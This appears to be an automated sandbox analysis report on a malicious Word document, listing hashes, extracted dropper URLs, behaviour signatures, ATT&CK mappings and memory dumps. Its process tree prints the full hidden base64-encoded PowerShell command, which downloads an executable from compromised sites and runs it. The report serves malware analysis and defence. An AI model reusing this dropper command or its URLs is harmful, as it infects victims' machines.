163eae697eb7cadb346c9c9b7f430a9a1b5859e9354415969a54565149811ae8

General

Target

163eae697eb7cadb346c9c9b7f430a9a1b5859e9354415969a54565149811ae8.doc
Size

129KB
MD5

4988f095e0986dd8876fc88a8ed9c223
SHA1

ed1836eebfd4e0c870ca33c29e8d5b261300a7f0
SHA256

163eae697eb7cadb346c9c9b7f430a9a1b5859e9354415969a54565149811ae8
SHA512

000c084b82f8fc94cd4fb8c9fba383cfd97ab19b51ff833989cc302ad5b467fe64bca7eb5ad2c516e88060da92d1280002724d73d0bab2731c2fb92157bdaa97

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://tan-shuai.com/wp-content/m6d71gnvv_5wuf035-3782344/

exe.dropper

http://rashhgames4u.000webhostapp.com/wp-admin/f09dmz1i98_gkhufhnf3-7958618171/

exe.dropper

http://bor-demir.com/cgi-bin/hlptlehdyU/

exe.dropper

http://klaryus.com.br/wp-includes/Requests/Zqeztqfe/

exe.dropper

https://theluxestudio.co.uk/wp-includes/pTxzfSBe/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

pOwershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 32 1492 pOwershell.exe
Blocklisted process makes network request 7 IoCs

Processes:

pOwershell.exe

flow pid process

12 32 pOwershell.exe
15 32 pOwershell.exe
16 32 pOwershell.exe
18 32 pOwershell.exe
19 32 pOwershell.exe
21 32 pOwershell.exe
25 32 pOwershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	32	1492	pOwershell.exe

flow	pid	process
12	32	pOwershell.exe
15	32	pOwershell.exe
16	32	pOwershell.exe
18	32	pOwershell.exe
19	32	pOwershell.exe
21	32	pOwershell.exe
25	32	pOwershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1480 WINWORD.EXE
1480 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

pOwershell.exe

pid process

32 pOwershell.exe
32 pOwershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

pOwershell.exe

description pid process

Token: SeDebugPrivilege 32 pOwershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

1480 WINWORD.EXE
1480 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1480 WINWORD.EXE
1480 WINWORD.EXE
1480 WINWORD.EXE
1480 WINWORD.EXE
1480 WINWORD.EXE
1480 WINWORD.EXE
1480 WINWORD.EXE

pid	process
1480	WINWORD.EXE
1480	WINWORD.EXE

pid	process
32	pOwershell.exe
32	pOwershell.exe

description	pid	process
Token: SeDebugPrivilege	32	pOwershell.exe

pid	process
1480	WINWORD.EXE
1480	WINWORD.EXE

pid	process
1480	WINWORD.EXE
1480	WINWORD.EXE
1480	WINWORD.EXE
1480	WINWORD.EXE
1480	WINWORD.EXE
1480	WINWORD.EXE
1480	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1480 wrote to memory of 2752	1480	WINWORD.EXE	splwow64.exe
PID 1480 wrote to memory of 2752	1480	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\163eae697eb7cadb346c9c9b7f430a9a1b5859e9354415969a54565149811ae8.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1480

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2752

C:\Windows\System32\WindowsPowerShell\v1.0\pOwershell.exe
pOwershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABYAHYAbQBJAFgAdgBvAD0AJwB0ADYAagBUAGIATQAnADsAJABQAGIARABMADQAMwAgAD0AIAAnADcAMQAnADsAJAB1AGoANgBFAFYAdQB2AD0AJwBMADgASwBNAGsAawBYACcAOwAkAFgAaQB2AEsASgBpAEsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFAAYgBEAEwANAAzACsAJwAuAGUAeABlACcAOwAkAFEAWQBFAHcARwBpAEQAPQAnAGsAdQAzAE8AXwBUACcAOwAkAGoARABhAGwAXwBZAEEAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBgAFQALgB3AGUAYABCAEMATABJAEUAbgBUADsAJABFAE4AegA2AEIAMAA9ACcAaAB0AHQAcAA6AC8ALwB0AGEAbgAtAHMAaAB1AGEAaQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG0ANgBkADcAMQBnAG4AdgB2AF8ANQB3AHUAZgAwADMANQAtADMANwA4ADIAMwA0ADQALwBAAGgAdAB0AHAAOgAvAC8AcgBhAHMAaABoAGcAYQBtAGUAcwA0AHUALgAwADAAMAB3AGUAYgBoAG8AcwB0AGEAcABwAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmADAAOQBkAG0AegAxAGkAOQA4AF8AZwBrAGgAdQBmAGgAbgBmADMALQA3ADkANQA4ADYAMQA4ADEANwAxAC8AQABoAHQAdABwADoALwAvAGIAbwByAC0AZABlAG0AaQByAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AaABsAHAAdABsAGUAaABkAHkAVQAvAEAAaAB0AHQAcAA6AC8ALwBrAGwAYQByAHkAdQBzAC4AYwBvAG0ALgBiAHIALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBSAGUAcQB1AGUAcwB0AHMALwBaAHEAZQB6AHQAcQBmAGUALwBAAGgAdAB0AHAAcwA6AC8ALwB0AGgAZQBsAHUAeABlAHMAdAB1AGQAaQBvAC4AYwBvAC4AdQBrAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcABUAHgAegBmAFMAQgBlAC8AJwAuAHMAcABMAGkAdAAoACcAQAAnACkAOwAkAHcAZABYAGEAMwBYAGIASwA9ACcAdwByAFYAMAA3ADUAawB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABBAFYARgBiAEkAdgBfAFkAIABpAG4AIAAkAEUATgB6ADYAQgAwACkAewB0AHIAeQB7ACQAagBEAGEAbABfAFkAQQAuAEQAbwB3AG4AbABPAEEAZABGAEkAbABFACgAJABBAFYARgBiAEkAdgBfAFkALAAgACQAWABpAHYASwBKAGkASwApADsAJABGAGMAWABCAHUAaQBDAD0AJwB6ADkAMgAzAG0AbQA1AEsAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABYAGkAdgBLAEoAaQBLACkALgBsAEUAbgBnAHQASAAgAC0AZwBlACAAMgA0ADEAMAAzACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFgAaQB2AEsASgBpAEsAOwAkAGgAbgByADMASAA2AD0AJwBwADkAcABQAHoAMwAzAGgAJwA7AGIAcgBlAGEAawA7ACQAagBYAFUATwBiAGEAcwA9ACcAbABYAEMAdABYAFIAZAAxACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGEANQAxAGoAVABaAHcAVgA9ACcAegB2AEYAegB3AGoAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:32

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/32-139-0x00000157BE040000-0x00000157BE062000-memory.dmp

Filesize
136KB

Download
memory/32-141-0x00007FFBF3020000-0x00007FFBF3AE1000-memory.dmp

Filesize
10.8MB

Download
memory/32-140-0x00007FFBF3020000-0x00007FFBF3AE1000-memory.dmp

Filesize
10.8MB

Download
memory/1480-138-0x0000027D7D2C0000-0x0000027D7D2C4000-memory.dmp

Filesize
16KB

Download
memory/1480-134-0x00007FFBDEA30000-0x00007FFBDEA40000-memory.dmp

Filesize
64KB

Download
memory/1480-135-0x00007FFBDC890000-0x00007FFBDC8A0000-memory.dmp

Filesize
64KB

Download
memory/1480-136-0x00007FFBDC890000-0x00007FFBDC8A0000-memory.dmp

Filesize
64KB

Download
memory/1480-130-0x00007FFBDEA30000-0x00007FFBDEA40000-memory.dmp

Filesize
64KB

Download
memory/1480-133-0x00007FFBDEA30000-0x00007FFBDEA40000-memory.dmp

Filesize
64KB

Download
memory/1480-132-0x00007FFBDEA30000-0x00007FFBDEA40000-memory.dmp

Filesize
64KB

Download
memory/1480-131-0x00007FFBDEA30000-0x00007FFBDEA40000-memory.dmp

Filesize
64KB

Download
memory/1480-143-0x00007FFBDEA30000-0x00007FFBDEA40000-memory.dmp

Filesize
64KB

Download
memory/1480-144-0x00007FFBDEA30000-0x00007FFBDEA40000-memory.dmp

Filesize
64KB

Download
memory/1480-145-0x00007FFBDEA30000-0x00007FFBDEA40000-memory.dmp

Filesize
64KB

Download
memory/1480-146-0x00007FFBDEA30000-0x00007FFBDEA40000-memory.dmp

Filesize
64KB

Download
memory/2752-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads